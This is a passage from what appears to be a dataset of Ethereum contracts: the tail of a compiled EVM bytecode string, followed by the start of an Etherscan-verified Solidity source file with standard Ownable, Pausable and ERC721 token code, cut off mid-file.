5565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b031614156126f757507f00000000000000000000000000000000000000000000000000000000000000006106d5565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b0316141561275857507f00000000000000000000000000000000000000000000000000000000000000006106d5565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b031614156127b957507f00000000000000000000000000000000000000000000000000000000000000006106d5565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b0316141561281a57507f00000000000000000000000000000000000000000000000000000000000000006106d5565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b03161415611b4257507f00000000000000000000000000000000000000000000000000000000000000006106d5565b600061289d61289287670429d069189e0000612a23565b831115610130610f13565b60006128a98784610d72565b905060006128b78883612992565b905060006128c58887611398565b905060006128d38383612d8a565b90506128e86128e18261296c565b8990612a23565b9a9950505050505050505050565b600061291861290d85670429d069189e0000612a23565b831115610131610f13565b600061292e6129278685610d84565b8690612992565b9050600061293c8588612992565b9050600061294a8383612d8a565b9050600061296082670de0b6b3a7640000610d84565b90506128e88a8261252d565b6000670de0b6b3a764000082106129845760006104dc565b50670de0b6b3a76400000390565b60006129a18215156004610f13565b826129ae575060006104dc565b670de0b6b3a7640000838102906129c8908583816113ce57fe5b82600182038161256557fe5b6000806129e18484612db6565b905060006129fb6129f48361271061252d565b6001610d72565b905080821015612a10576000925050506104dc565b612a1a8282610d84565b925050506104dc565b6000828202612a3d84158061139157508385838161138e57fe5b670de0b6b3a764000090049392505050565b6000818060200190518101906104dc919061428c565b6060818060200190518101906105a19190614352565b6000612a8d631c74c91760e11b610797565b909114919050565b6000838311612aa657506000612377565b6000612ab28585612992565b90506000612ac8670de0b6b3a764000088611398565b9050612adc826709b6e64a8ec60000612ec1565b91506000612aea8383612d8a565b90506000612b01612afa8361296c565b8b90612a23565b90506128e88187612a23565b60006060612b1961108d565b600080612b2585612ed8565b91509150612b3d612b34611100565b82106064610f13565b6060612b47611100565b67ffffffffffffffff81118015612b5d57600080fd5b50604051908082528060200260200182016040528015612b87578160200160208202803683370190505b509050612bc6888381518110612b9957fe5b6020026020010151888481518110612bad57fe5b602002602001015185612bbe6104f6565b600754612efa565b818381518110612bd257fe5b6020908102919091010152919791965090945050505050565b600060606000612bfa84612fb7565b90506060612c108683612c0b6104f6565b612fcd565b9196919550909350505050565b60006060612c2961108d565b60606000612c368561307f565b91509150612c478251610610611100565b612c5382610a5e6113e9565b6000612c6b888885612c636104f6565b600754613097565b9050612c7b8282111560cf610f13565b9791965090945050505050565b60006060806000612c988561307f565b91509150612cae612ca7611100565b8351610d65565b612cba82610a5e6113e9565b6000612cd2888885612cca6104f6565b6007546132bc565b9050612c7b8282101560d0610f13565b60006060600080612cf285612ed8565b91509150612d01612b34611100565b6060612d0b611100565b67ffffffffffffffff81118015612d2157600080fd5b50604051908082528060200260200182016040528015612d4b578160200160208202803683370190505b509050612bc6888381518110612d5d57fe5b6020026020010151888481518110612d7157fe5b602002602001015185612d826104f6565b6007546134cd565b600080612d978484612db6565b90506000612daa6129f48361271061252d565b90506123778282610d72565b600081612dcc5750670de0b6b3a76400006104dc565b82612dd9575060006104dc565b612dea600160ff1b84106006610f13565b82612e10770bce5086492111aea88f4bb1ca6bcf584181ea8059f7653284106007610f13565b826000670c7d713b49da000083138015612e315750670f43fc2c04ee000083125b15612e68576000612e418461356f565b9050670de0b6b3a764000080820784020583670de0b6b3a764000083050201915050612e76565b81612e7284613696565b0290505b670de0b6b3a76400009005612eae680238fd42c5cf03ffff198212801590612ea7575068070c1cc73b00c800008213155b6008610f13565b612eb781613a44565b9695505050505050565b600081831015612ed157816105a1565b5090919050565b60008082806020019051810190612eef919061431c565b909590945092505050565b600080612f1184612f0b8188610d84565b90612992565b9050612f2a6709b6e64a8ec60000821015610132610f13565b6000612f48612f41670de0b6b3a764000089611398565b8390612d8a565b90506000612f5f612f588361296c565b8a90612a23565b90506000612f6c8961296c565b90506000612f7a838361252d565b90506000612f888483610d84565b9050612fa7612fa0612f998a61296c565b8490612a23565b8290610d72565b9c9b505050505050505050505050565b6000818060200190518101906105a191906142ef565b60606000612fdb8484611398565b90506060855167ffffffffffffffff81118015612ff757600080fd5b50604051908082528060200260200182016040528015613021578160200160208202803683370190505b50905060005b8651811015613075576130568388838151811061304057fe5b6020026020010151612a2390919063ffffffff16565b82828151811061306257fe5b6020908102919091010152600101613027565b5095945050505050565b6060600082806020019051810190612eef91906142a8565b60006060845167ffffffffffffffff811180156130b357600080fd5b506040519080825280602002602001820160405280156130dd578160200160208202803683370190505b5090506000805b88518110156131a25761313d8982815181106130fc57fe5b6020026020010151612f0b89848151811061311357fe5b60200260200101518c858151811061312757fe5b6020026020010151610d8490919063ffffffff16565b83828151811061314957fe5b60200260200101818152505061319861319189838151811061316757fe5b602002602001015185848151811061317b57fe5b602002602001015161252d90919063ffffffff16565b8390610d72565b91506001016130e4565b50670de0b6b3a764000060005b895181101561329b5760008482815181106131c657fe5b602002602001015184111561321d5760006131ef6131e38661296c565b8d858151811061304057fe5b90506000613203828c868151811061312757fe5b9050613214613191611c138b61296c565b92505050613234565b88828151811061322957fe5b602002602001015190505b600061325d8c848151811061324557fe5b60200260200101516106b5848f878151811061312757fe5b905061328f6132888c858151811061327157fe5b6020026020010151836129d490919063ffffffff16565b8590612a23565b935050506001016131af565b506132af6132a88261296c565b879061252d565b9998505050505050505050565b60006060845167ffffffffffffffff811180156132d857600080fd5b50604051908082528060200260200182016040528015613302578160200160208202803683370190505b5090506000805b88518110156133aa5761336289828151811061332157fe5b60200260200101516106b589848151811061333857fe5b60200260200101518c858151811061334c57fe5b6020026020010151610d7290919063ffffffff16565b83828151811061336e57fe5b6020026020010181815250506133a061319189838151811061338c57fe5b602002602001015185848151811061304057fe5b9150600101613309565b50670de0b6b3a764000060005b895181101561348b576000838583815181106133cf57fe5b6020026020010151111561342b5760006133f46131e386670de0b6b3a7640000610d84565b90506000613408828c868151811061312757fe5b9050613422613191611f42670de0b6b3a76400008c610d84565b92505050613442565b88828151811061343757fe5b602002602001015190505b600061346b8c848151811061345357fe5b60200260200101516106b5848f878151811061334c57fe5b905061347f6132888c858151811061327157fe5b935050506001016133b7565b50670de0b6b3a764000081106134c1576134b76134b082670de0b6b3a7640000610d84565b8790612a23565b9350505050612377565b60009350505050612377565b6000806134de84612f0b8188610d72565b90506134f76729a2241af62c0000821115610133610f13565b600061350e612f41670de0b6b3a764000089612992565b9050600061352e61352783670de0b6b3a7640000610d84565b8a9061252d565b9050600061353b8961296c565b90506000613549838361252d565b905060006135578483610d84565b9050612fa7612fa06135688a61296c565b8490612992565b670de0b6b3a7640000026000806ec097ce7bc90715b34b9f1000000000808401906ec097ce7bc90715b34b9f0fffffffff19850102816135ab57fe5b05905060006ec097ce7bc90715b34b9f100000000082800205905081806ec097ce7bc90715b34b9f100000000081840205915060038205016ec097ce7bc90715b34b9f100000000082840205915060058205016ec097ce7bc90715b34b9f100000000082840205915060078205016ec097ce7bc90715b34b9f100000000082840205915060098205016ec097ce7bc90715b34b9f1000000000828402059150600b8205016ec097ce7bc90715b34b9f1000000000828402059150600d8205016ec097ce7bc90715b34b9f1000000000828402059150600f826002919005919091010295945050505050565b60006136a6600083136064610f13565b670de0b6b3a76400008212156136e1576136d7826ec097ce7bc90715b34b9f1000000000816136d157fe5b05613696565b60000390506106d5565b60007e1600ef3172e58d2e933ec884fde10064c63b5372d805e203c0000000000000831261373257770195e54c5dd42177f53a27172fa9ec630262827000000000830592506806f05b59d3b2000000015b73011798004d755d3c8bc8e03204cf44619e000000831261376a576b1425982cf597cd205cef7380830592506803782dace9d9000000015b606492830292026e01855144814a7ff805980ff008400083126137b2576e01855144814a7ff805980ff008400068056bc75e2d63100000840205925068ad78ebc5ac62000000015b6b02df0ab5a80a22c61ab5a70083126137ed576b02df0ab5a80a22c61ab5a70068056bc75e2d6310000084020592506856bc75e2d631000000015b693f1fce3da636ea5cf850831261382457693f1fce3da636ea5cf85068056bc75e2d631000008402059250682b5e3af16b18800000015b690127fa27722cc06cc5e2831261385b57690127fa27722cc06cc5e268056bc75e2d6310000084020592506815af1d78b58c400000015b68280e60114edb805d0383126138905768280e60114edb805d0368056bc75e2d631000008402059250680ad78ebc5ac6200000015b680ebc5fb4174612111083126138bb57680ebc5fb4174612111068056bc75e2d631000009384020592015b6808f00f760a4b2db55d83126138f0576808f00f760a4b2db55d68056bc75e2d6310000084020592506802b5e3af16b1880000015b6806f5f17757889379378312613925576806f5f177578893793768056bc75e2d63100000840205925068015af1d78b58c40000015b6806248f33704b2866038312613959576806248f33704b28660368056bc75e2d63100000840205925067ad78ebc5ac620000015b6805c548670b9510e7ac831261398d576805c548670b9510e7ac68056bc75e2d6310000084020592506756bc75e2d6310000015b600068056bc75e2d63100000840168056bc75e2d6310000080860302816139b057fe5b059050600068056bc75e2d63100000828002059050818068056bc75e2d63100000818402059150600382050168056bc75e2d63100000828402059150600582050168056bc75e2d63100000828402059150600782050168056bc75e2d63100000828402059150600982050168056bc75e2d63100000828402059150600b820501600202606485820105979650505050505050565b6000613a73680238fd42c5cf03ffff198312158015613a6c575068070c1cc73b00c800008313155b6009610f13565b6000821215613aa757613a8882600003613a44565b6ec097ce7bc90715b34b9f100000000081613a9f57fe5b0590506106d5565b60006806f05b59d3b20000008312613ae757506806f05b59d3b1ffffff1990910190770195e54c5dd42177f53a27172fa9ec630262827000000000613b1d565b6803782dace9d90000008312613b1957506803782dace9d8ffffff19909101906b1425982cf597cd205cef7380613b1d565b5060015b6064929092029168056bc75e2d6310000068ad78ebc5ac620000008412613b6d5768ad78ebc5ac61ffffff199093019268056bc75e2d631000006e01855144814a7ff805980ff008400082020590505b6856bc75e2d6310000008412613ba9576856bc75e2d630ffffff199093019268056bc75e2d631000006b02df0ab5a80a22c61ab5a70082020590505b682b5e3af16b188000008412613be357682b5e3af16b187fffff199093019268056bc75e2d63100000693f1fce3da636ea5cf85082020590505b6815af1d78b58c4000008412613c1d576815af1d78b58c3fffff199093019268056bc75e2d63100000690127fa27722cc06cc5e282020590505b680ad78ebc5ac62000008412613c5657680ad78ebc5ac61fffff199093019268056bc75e2d6310000068280e60114edb805d0382020590505b68056bc75e2d631000008412613c8f5768056bc75e2d630fffff199093019268056bc75e2d63100000680ebc5fb4174612111082020590505b6802b5e3af16b18800008412613cc8576802b5e3af16b187ffff199093019268056bc75e2d631000006808f00f760a4b2db55d82020590505b68015af1d78b58c400008412613d015768015af1d78b58c3ffff199093019268056bc75e2d631000006806f5f177578893793782020590505b68056bc75e2d631000008481019085906002908280020505918201919050600368056bc75e2d631000008783020505918201919050600468056bc75e2d631000008783020505918201919050600568056bc75e2d631000008783020505918201919050600668056bc75e2d631000008783020505918201919050600768056bc75e2d631000008783020505918201919050600868056bc75e2d631000008783020505918201919050600968056bc75e2d631000008783020505918201919050600a68056bc75e2d631000008783020505918201919050600b68056bc75e2d631000008783020505918201919050600c68056bc75e2d631000008783020505918201919050606468056bc75e2d63100000848402058502059695505050505050565b80356104dc81614708565b600082601f830112613e3d578081fd5b8151613e50613e4b826146e8565b6146c1565b818152915060208083019084810181840286018201871015613e7157600080fd5b60005b84811015613e9057815184529282019290820190600101613e74565b505050505092915050565b600082601f830112613eab578081fd5b813567ffffffffffffffff811115613ec1578182fd5b613ed4601f8201601f19166020016146c1565b9150808252836020828501011115613eeb57600080fd5b8060208401602084013760009082016020015292915050565b8035600281106104dc57600080fd5b600060208284031215613f24578081fd5b81356105a181614708565b60008060408385031215613f41578081fd5b8235613f4c81614708565b91506020830135613f5c81614708565b809150509250929050565b600080600060608486031215613f7b578081fd5b8335613f8681614708565b92506020840135613f9681614708565b929592945050506040919091013590565b600080600080600080600060e0888a031215613fc1578283fd5b8735613fcc81614708565b96506020880135613fdc81614708565b95506040880135945060608801359350608088013560ff81168114613fff578384fd5b9699959850939692959460a0840135945060c09093013592915050565b6000806040838503121561402e578182fd5b823561403981614708565b946020939093013593505050565b60008060006060848603121561405b578081fd5b835167ffffffffffffffff80821115614072578283fd5b818601915086601f830112614085578283fd5b8151614093613e4b826146e8565b80828252602080830192508086018b8283870289010111156140b3578788fd5b8796505b848710156140de5780516140ca81614708565b8452600196909601959281019281016140b7565b5089015190975093505050808211156140f5578283fd5b5061410286828701613e2d565b925050604084015190509250925092565b600060208284031215614124578081fd5b81356105a18161471d565b600060208284031215614140578081fd5b81516105a18161471d565b600080600080600080600060e0888a031215614165578081fd5b8735965060208089013561417881614708565b9650604089013561418881614708565b9550606089013567ffffffffffffffff808211156141a4578384fd5b818b0191508b601f8301126141b7578384fd5b81356141c5613e4b826146e8565b8082825285820191508585018f8788860288010111156141e3578788fd5b8795505b838610156142055780358352600195909501949186019186016141e7565b509850505060808b0135955060a08b0135945060c08b013592508083111561422b578384fd5b50506142398a828b01613e9b565b91505092959891949750929550565b600060208284031215614259578081fd5b81356001600160e01b0319811681146105a1578182fd5b600060208284031215614281578081fd5b81516105a181614708565b60006020828403121561429d578081fd5b81516105a18161472b565b6000806000606084860312156142bc578081fd5b83516142c78161472b565b602085015190935067ffffffffffffffff8111156142e3578182fd5b61410286828701613e2d565b60008060408385031215614301578182fd5b825161430c8161472b565b6020939093015192949293505050565b600080600060608486031215614330578081fd5b835161433b8161472b565b602085015160409095015190969495509392505050565b60008060408385031215614364578182fd5b825161436f8161472b565b602084015190925067ffffffffffffffff81111561438b578182fd5b61439785828601613e2d565b9150509250929050565b6000806000606084860312156143b5578081fd5b833567ffffffffffffffff808211156143cc578283fd5b81860191506101208083890312156143e2578384fd5b6143eb816146c1565b90506143f78884613f04565b81526144068860208501613e22565b60208201526144188860408501613e22565b6040820152606083013560608201526080830135608082015260a083013560a08201526144488860c08501613e22565b60c082015261445a8860e08501613e22565b60e08201526101008084013583811115614472578586fd5b61447e8a828701613e9b565b9183019190915250976020870135975060409096013595945050505050565b6000602082840312156144ae578081fd5b5035919050565b6000815180845260208085019450808401835b838110156144e4578151875295820195908201906001016144c8565b509495945050505050565b9182526001600160e01b031916602082015260240190565b6000828483379101908152919050565b61190160f01b81526002810192909252602282015260420190565b6001600160a01b0391909116815260200190565b6000602082526105a160208301846144b5565b60006040825261456c60408301856144b5565b828103602084015261237781856144b5565b901515815260200190565b92151583526020830191909152604082015260600190565b90815260200190565b9283526001600160a01b03918216602084015216604082015260600190565b9586526001600160a01b0394851660208701529290931660408501526060840152608083019190915260a082015260c00190565b9485526020850193909352604084019190915260608301526001600160a01b0316608082015260a00190565b93845260ff9290921660208401526040830152606082015260800190565b6000602080835283518082850152825b8181101561467357858101830151858201604001528201614657565b818111156146845783604083870101525b50601f01601f1916929092016040019392505050565b600083825260406020830152611bb060408301846144b5565b60ff91909116815260200190565b60405181810167ffffffffffffffff811182821017156146e057600080fd5b604052919050565b600067ffffffffffffffff8211156146fe578081fd5b5060209081020190565b6001600160a01b03811681146104f357600080fd5b80151581146104f357600080fd5b600381106104f357600080fdfea2646970667358221220a2c3b62e0bc50507598395387e1557612d7ad59e817ddae4d5279907402fedb464736f6c63430007010033 | [
32,
4,
12
] |
0xf33c469982ce3fd0396df723fcf8ce1655ea63bd | /**
*Submitted for verification at Etherscan.io on 2022-03-08
*/
/**
*Submitted for verification at Etherscan.io on 2022-02-21
*/
/**
*Submitted for verification at Etherscan.io on 2022-01-24
*/
/**
*Submitted for verification at Etherscan.io on 2022-01-22
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor () {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
library Strings {
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
}
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Optional mapping for token URIs
mapping (uint256 => string) private _tokenURIs;
// Base URI
string private _baseURI;
// Mapping from token ID to owner address
mapping (uint256 => address) private _owners;
// Mapping owner address to token count
mapping (address => uint256) private _balances;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return interfaceId == type(IERC721).interfaceId
|| interfaceId == type(IERC721Metadata).interfaceId
|| super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
// If there is no base URI, return the token URI.
if (bytes(_baseURI).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(_baseURI, _tokenURI));
}
// If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI.
return string(abi.encodePacked(_baseURI, tokenId.toString()));
}
/**
* @dev Sets `_tokenURI` as the tokenURI of `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
/**
* @dev Internal function to set the base URI for all token IDs. It is
* automatically added as a prefix to the value returned in {tokenURI},
* or to the token ID if {tokenURI} is empty.
*/
function _setBaseURI(string memory baseURI_) internal virtual {
_baseURI = baseURI_;
}
/**
* @dev Returns the base URI set via {_setBaseURI}. This will be
* automatically added as a prefix in {tokenURI} to each token's URI, or
* to the token ID if no specific URI is set for that token ID.
*/
function baseURI() internal view returns (string memory) {
return _baseURI;
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
